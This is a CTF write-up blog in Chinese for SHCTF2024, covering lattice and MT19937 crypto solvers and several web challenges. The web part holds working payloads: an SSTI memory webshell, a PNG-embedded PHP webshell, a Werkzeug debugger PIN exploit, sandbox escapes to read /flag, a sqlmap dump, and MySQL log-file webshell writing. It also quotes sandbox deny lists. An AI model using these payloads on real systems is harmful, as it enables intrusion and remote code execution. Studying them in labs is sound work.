elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots
return []

# Reconstructing the polynomial
PR.<x, y> = PolynomialRing(Zmod(p))
f = ((c[0] << 80) + x) * a + b - ((c[1] << 80) + y)

# Finding small roots
roots = small_roots(f, (2**80, 2**80), m=4, d=4)

# Calculating the seed
s1 = (c[0] << 80) + roots[0][0]
seed = (s1 - b) * inverse_mod(a, p) % p

# Converting the seed back to bytes
flag = bytes.fromhex(hex(seed)[2:]).decode()
print(flag) # Outputs the original flag

web

小小cms

先试了/admin,有登录窗口,默认密码登陆,简单搜查一下,有个数据库里面插入了flag,dump下来发现是假的flag,然后创建了一个用户试了一下前端传马看看是否执行,不行,没办法去搜了一下7.0的漏洞,直接按照这个url进行shell的https://blog.csdn.net/shelter1234567/article/details/138524342,最后上截图

18

love_flask

简单的ssti的内存马,测试是没有回显的,我尝试了两种方法,一种是内部弹shell给我vps没有成功,还有一种是直接执行rce,上马

1
{{ url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/orange', 'orange', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())", {'_request_ctx_stack': url_for.__globals__['_request_ctx_stack'], 'app': url_for.__globals__['current_app']}) }}

19

拜师之旅·番外

png的二次渲染,上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

执行0=system和post发包1=cat /flag

然后ctrl+s保存图片用记事本看得到flag

20

hacked_website(复现)

当时扫到了www.zip,下载可以看文件,然后就没思路了当时没想到用d盾扫一下

21

可以发现是有后面的,定位一下关键文件

文件里有这个门

1
<?php $a = 'sys';$b = 'tem';$x = $a.$b;if (!isset($_POST['SH'])) {$z = "''";} else $z = $_POST['SH'];?>

/admin里面登陆一下,fuzz一下密码

22

到对应的php里面输入得到flag明明挺简单的为什么没想到解法,当时全在往typecho的cve里面想

23

顰(复现)

应该考察的就是算pin,写题的时候其他的数据都找到了没找到console,不明白为什么不触发orz

官p给了一个链接调试应用程序 — Werkzeug 中文文档 (3.0.x) (palletsprojects.com)

1
By default, , any subdomain, and are trusted. will trust its argument as well. To change this further, use the debug middleware directly rather than through .localhost.localhost127.0.0.1run_simplehostnameuse_debugger=True

需要host是127.0.0.1添加header Host:127.0.0.1剩余的正常都可以找到

24

1
2
3
4
5
/sys/class/net/eth0/address---->b6:45:6c:7d:2e:b1 #mac
/proc/sys/kernel/random/boot_id----->d45a88e1-3fe4-4156-9e59-3864587b7c87 #private
/proc/self/cgroup ----->0::/
/../../../../../../../etc/passwd----->root:x:0:0:root:/root:/bin/ #pub
/usr/local/lib/python3.10/site-packages/werkzeug/debug/__init__.py #挨个试

算pin的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import hashlib
from itertools import chain


def mac_to_decimal(mac_address):
hex_pairs = mac_address.split(':')
decimal_value = 0
# 将每个十六进制对转换为十进制并累加
for hex_pair in hex_pairs:
decimal_value = (decimal_value << 8) + int(hex_pair, 16)
return decimal_value


mac_address = "b6:45:6c:7d:2e:b1" # /sys/class/net/eth0/address

# 调用函数将 MAC 地址转换为十进制数值
mac = str(mac_to_decimal(mac_address))

probably_public_bits = [
'root' # username 可通过/etc/passwd获取
'flask.app', # modname默认值
'Flask', # 默认值
'/usr/local/lib/python3.10/site-packages/flask/app.py'
]

private_bits = [
mac, # mac地址十进制
'd45a88e1-3fe4-4156-9e59-3864587b7c87'
# /proc/sys/kernel/random/boot_id + /proc/self/cgroup (name=systemd:) /proc/self/cgroup为空不用看
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

因为每个请求都要host,可以看源码提交

1
?__debugger__=yes&cmd=pinauth&pin=293-579-492&s=EiqMhkW0qaOHzFnqNEn3

获取cookie

1
__wzd6bde80ed812309855c21=1730390066|aad426b2f48c

25

week4

crypto

MT19937

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import ast

class MT19937:
def __init__(self, state=None):
self.w, self.n, self.m, self.r = 32, 624, 397, 31
self.a = 0x9908B0DF
self.u, self.d = 11, 0xFFFFFFFF
self.s, self.b = 7, 0x9D2C5680
self.t, self.c = 15, 0xEFC60000
self.l = 18
self.index = self.n

if state:
# 确保状态数组长度为624
self.MT = list(state)
while len(self.MT) < self.n:
self.MT.append(0)
self.MT = self.MT[:self.n]
else:
self.MT = [0] * self.n
def twist(self):
lower_mask = (1 << self.r) - 1
upper_mask = (~lower_mask) & 0xFFFFFFFF

for i in range(self.n):
x = (self.MT[i] & upper_mask) | (self.MT[(i + 1) % self.n] & lower_mask)
xA = x >> 1
if x & 1:
xA ^= self.a
self.MT[i] = self.MT[(i + self.m) % self.n] ^ xA
self.index = 0

def extract_number(self):
if self.index >= self.n:
self.twist()

y = self.MT[self.index]
y = y ^ ((y >> self.u) & self.d)
y = y ^ ((y << self.s) & self.b)
y = y ^ ((y << self.t) & self.c)
y = y ^ (y >> self.l)

self.index += 1
return y & 0xFFFFFFFF


def untemper(y):
y = y & 0xFFFFFFFF

# Reverse right shift 18
y = y ^ (y >> 18)

# Reverse left shift 15 and mask
temp = y
for i in range(2):
temp = y ^ ((temp << 15) & 0xEFC60000)
y = temp

# Reverse left shift 7 and mask
temp = y
for i in range(4):
temp = y ^ ((temp << 7) & 0x9D2C5680)
y = temp

# Reverse right shift 11
temp = y
for i in range(3):
temp = y ^ (temp >> 11)
y = temp

return y & 0xFFFFFFFF


def predict_next(outputs, num_predict):
state = [untemper(x) for x in outputs]
mt = MT19937(state)

predicted = []
for _ in range(num_predict):
predicted.append(mt.extract_number())
return predicted


def solve():
# Read data.txt
with open('data.txt', 'r') as f:
lines = f.readlines()
K1_outputs = ast.literal_eval(lines[0].strip())
K2_outputs = ast.literal_eval(lines[1].strip())
c1 = ast.literal_eval(lines[2].strip())
c2 = ast.literal_eval(lines[3].strip())

print("Length of K1_outputs:", len(K1_outputs))
print("Length of K2_outputs:", len(K2_outputs))

# Calculate cal values
# 对于K1,我们使用全部624个状态
cal1 = 0
next_nums1 = predict_next(K1_outputs, 624)
cal1 = sum(next_nums1)
print("cal1 calculated:", cal1)

# 对于K2,我们只使用前600个状态,但仍需预测156个数
cal2 = 0
next_nums2 = predict_next(K2_outputs, 156) # 624//4 = 156
cal2 = sum(next_nums2)
print("cal2 calculated:", cal2)

def decrypt(cal, ciphertext):
key = hashlib.sha256(str(cal).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
return unpad(cipher.decrypt(ciphertext), 16)

try:
print("Attempting decryption...")
m1 = decrypt(cal1, bytes(c1))
m2 = decrypt(cal2, bytes(c2))
flag = m1 + m2
return flag
except Exception as e:
print(f"Decryption error: {e}")
print(f"cal1: {cal1}")
print(f"cal2: {cal2}")
return None


if __name__ == '__main__':
print("Starting solver...")
flag = solve()
if flag:
try:
print("Flag:", flag.decode())
except:
print("Flag (raw):", flag)
else:
print("Failed to recover flag")

web(复现)

0进制计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from flask import Flask, render_template, request, jsonify

app = Flask(__name__)

@app.route('/')
def home():
return render_template('index.html')

@app.route('/execute', methods=['POST'])
def execute_code():
data = request.json
code = data.get('code', '')
output = executer(code)
return output

from contextlib import redirect_stdout
from io import StringIO

class StupidInterpreter:
def __init__(self):
self.variables = {}

def interpret(self, code):
if self.checker(code) == False:
print("有脏东西!")
return("")
commands = code.split(';')
for command in commands:
command = command.strip()
if command:
self.execute_command(command)

def execute_command(self, command):
if '=' in command:
variable, expression = command.split('=', 1)
variable = variable.strip()
result = self.evaluate_expression(expression.strip())
self.variables[variable] = result
#执行打印操作
elif command.startswith('cdhor(') and command.endswith(')'):
expression = command[6:-1].strip()
result = self.evaluate_expression(expression)
print(result)
else:
print(f"未知指令: {command}")
return("")
def evaluate_expression(self, expression):
for var, value in self.variables.items():
expression = expression.replace(var, str(value))
try:
return eval(expression, {}, {})
except Exception as e:
print(f"执行出错: {e}")
return None

def checker(self, string):
try:
string.encode("ascii")
except UnicodeEncodeError:
return False
allow_chr = '0cdhor+-*/=()"\'; '
for char in string:
if char not in allow_chr:
return False

def executer(code):
outputIO = StringIO()
interpreter = StupidInterpreter()
with redirect_stdout(outputIO):
interpreter.interpret(code)
output = outputIO.getvalue()
return(output)

if __name__ == '__main__':
app.run(debug=False)
1
allow_chr = '0cdhor+-*/=()"\'; '

这是运行通过的字符,eval可以执行的一是”=”号右侧的部分,二是cdhor()内的部分

cdhor刚好可以组成chr和ord,可以利用这两个函数来组成任意字符。chr(ord())形式的代码可以在等号右侧被转换为需要执行的代码后,再经过cdhor()执行并输出结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def generate_char(char):
char_ascii_bin = str(bin(ord(char)))
result = []
index = len(char_ascii_bin) - 1
for a in char_ascii_bin:
if index == 0 and a == "1":
result.append("(ord('*')-ord(')'))")
break
if index != 0 and a == "1":
mid_res = ["(ord('*')-ord('('))" for i in range(index)]
result.append("*".join(mid_res))
index -= 1
return("+".join(result))

def generate_sentence(string):
char_expressions = ["chr(" + generate_char(char) + ")" for char in string]
sentence_expression = "+".join(char_expressions)
return(sentence_expression)

# 定义字符串
sentence = """__import__('os').popen('cat /fl44gggg').read()"""

# 生成表达式
generated_expression = generate_sentence(sentence)

# 打印生成的表达式
print("Generated Expression:")
print(generated_expression)

# 执行并打印结果
result = eval(generated_expression)
print("\nExecution Result:")
print(result)

26

解密脚本的大致原理是设定了权值,将代码转化为ASCII再转化为二进制的形式,按照给定的权值进行转化,最后再拼接,本地可以测试测试。

0进制计算器 pro max

先上源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
from flask import Flask, render_template, request, jsonify
from contextlib import redirect_stdout
from io import StringIO
from sys import addaudithook

audit_enabled = False
dangerous_operation_detected = False

app = Flask(__name__)

@app.route('/')
def home():
return render_template('index.html')

@app.route('/execute', methods=['POST'])
def execute_code():
data = request.json
code = data.get('code', '')
output = executer(code)
return output

dangerous_operations = [
"marshal", "__new__", "process", "os", "sys", "interpreter", "open",
"cpython", "compile", "gc"
]
dangerous_strings = ["__", "getattr", "exit"]
dangerous_opcodes = ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]
allowed_functions = ["print"]

class CleverInterpreter:
def __init__(self):
self.variables = {}

def interpret(self, code):
if self.checker(code) == False:
print("有脏东西!")
return("")
commands = code.split(';')
for command in commands:
command = command.strip()
if command:
self.execute_command(command)

def execute_command(self, command):
if '=' in command:
variable, expression = command.split('=', 1)
variable = variable.strip()
result = self.evaluate_expression(expression.strip())
self.variables[variable] = result
# 执行打印操作
elif command.startswith('cdhor(') and command.endswith(')'):
expression = command[6:-1].strip()
result = self.safe_executer('print(' + expression + ')')
print(result)
else:
print(f"未知指令: {command}")
return("")

def evaluate_expression(self, expression):
for var, value in self.variables.items():
expression = expression.replace(var, str(value))
try:
return eval(expression, {}, {})
except Exception as e:
print(f"执行出错: {e}")
return None

def safe_executer(self, expression):
global audit_enabled
output = ""

def exec_code(code):
outputIO = StringIO()
with redirect_stdout(outputIO):
exec(code, {
"__builtins__": None,
"print": print
}, None)
output = outputIO.getvalue()
return output

for var, value in self.variables.items():
expression = expression.replace(var, str(value))

if self.clever_checker(expression) == False:
return("大傻春 你要干什么!")

code = compile(expression, "<sandbox>", "exec")
# 启用审计
audit_enabled = True
try:
output = exec_code(code)
except Exception as e:
print(f"执行出错: {e}")
finally:
# 关闭审计
audit_enabled = False

return output

def checker(self, code):
allow_chr = '0cdhor+-*/=()"\'; '
for char in code:
if char not in allow_chr:
return False

def clever_checker(self, code):
def simple_checker(source):
try:
source.encode("ascii")
except UnicodeEncodeError:
return False

for dangerous in dangerous_strings:
if dangerous in source.lower():
print(dangerous)
return False

return True

def opcode_checker(code):
from dis import dis
from io import StringIO

opcode_output = StringIO()
dis(code, file=opcode_output)
opcodes = opcode_output.getvalue().splitlines()
opcode_output.close()

for line in opcodes:
if any(opcode in line for opcode in dangerous_opcodes):
if any(func in line for func in allowed_functions):
continue
print("".join(opcode for opcode in dangerous_opcodes if opcode in line))
return False

return True

return simple_checker(code) and opcode_checker(code)
def block_wrapper():
def audit(event, args):
global audit_enabled, dangerous_operation_detected
dangerous_operation_detected = False
if audit_enabled:
event_info = event + "".join(str(arg) for arg in args)
event_info_lower = event_info.lower()
for dangerous in dangerous_operations:
if dangerous in event_info_lower:
global dangerous_operation
dangerous_operation_detected = True
dangerous_operation = dangerous
return
else:
return
return audit


def executer(code):
outputIO = StringIO()
interpreter = CleverInterpreter()
with redirect_stdout(outputIO):
interpreter.interpret(code)
output = outputIO.getvalue()
if dangerous_operation_detected:
output = ""
return ("危险操作: " + dangerous_operation)
else:
return(output)

if __name__ == '__main__':
addaudithook(block_wrapper())
app.run(debug=False, port=80, host="0.0.0.0")

参考文章https://www.cnblogs.com/gaorenyusi/p/18242719

考察的是python栈帧沙箱逃逸(妹听过啊)

三个安全模块是通过遍历下面三个列表对代码进行过滤的,而通过栈帧逃逸,我们可以访问到全局变量,因此只需要获取到全局变量表,将下面三个列表设为空即可

1
2
3
4
5
6
dangerous_operations = [
"marshal", "__new__", "process", "os", "sys", "interpreter", "open",
"cpython", "compile", "gc"
]
dangerous_strings = ["__", "getattr", "exit"]
dangerous_opcodes = ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]

注意要把题目里的print闭合,官p说的是在前面的改

先输入

1
2
3
4
5
6
7
8
9
10
11
12
sentence = """0)
def exp():
def scq():
yield scq.gi_frame.f_back
scq = scq()
frame = [x for x in scq][0]
frame.f_back.f_back.f_back.f_globals["dangerous_operations"] = []
frame.f_back.f_back.f_back.f_globals["dangerous_opcodes"] = []
frame.f_back.f_back.f_back.f_globals["dangerous_strings"] = []
exp()
print(0
"""

27

设置完成后就可以直接读取flag

1
2
3
4
5
6
7
8
9
10
11
12
sentence = """0)
def exp():
def scq():
yield scq.gi_frame.f_back
scq = scq()
frame = [x for x in scq][0]
gattr = frame.f_back.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2]
open = gattr.open
print(open("/fl44gggg", "r").read())
exp()
print(0
"""

28

只是浮现了一下,知识点会放在学习计划中

可恶的骗子

官方给了两个解法都学习一下

0x01

29

聊天记录内url拼接到靶机,显示用手机打开,使用手机ua进行访问

ClickID参数单引号报错,存在sql注入

构造一个ua头

1
Mozilla/5.0 (Linux; Android 12; Pixel 6 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.196 Mobile Safari/537.36
1
/Xianyu_goods/index.php?ClickID=161'

加个单引号发现有sql的报错

用sqlmap跑一下看看

1
python sqlmap.py -u http://210.44.150.15:36930/Xianyu_goods/index.php?ClickID=161 --user-agent='Mozilla/5.0 (Linux; Android 12; Pixel 6 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.196 Mobile Safari/537.36' -D root -T admin_user --dump

最后的数据是

30

root::shctf_xianyu_password登入后台

具体getshell流程可以参考这篇phpMyAdmin利用日志文件GetSHELL-腾讯云开发者社区-腾讯云

登陆后使用日志写入php代码,首先启用日志

1
Set global general_log = on;

接着设置日志路径,扫描后发现Xianyu_goods下有go.php

1
Set global general_log_file = '/var/www/html/Xianyu_goods/go.php';

然后执行

1
select '<?php system("cat /flag"); ?>';

最后进入对应界面就好了

31

0x02

根据聊天记录,网上搜索仿咸鱼 转转 交易猫系统源码等关键字,找到此系统源码

下载后使用工具进行审计,发现index.php存在文件包含,通过HTTP参数控制

文件自己审查一下,用常用的工具审一遍。

1
/Xianyu_goods/index.php?ClickID=161&HTYP=/flag

SHCTF2024
https://0ran9ewww.github.io/2024/10/30/shctf/shctf2024/
作者
orange
发布于
2024年10月30日
许可协议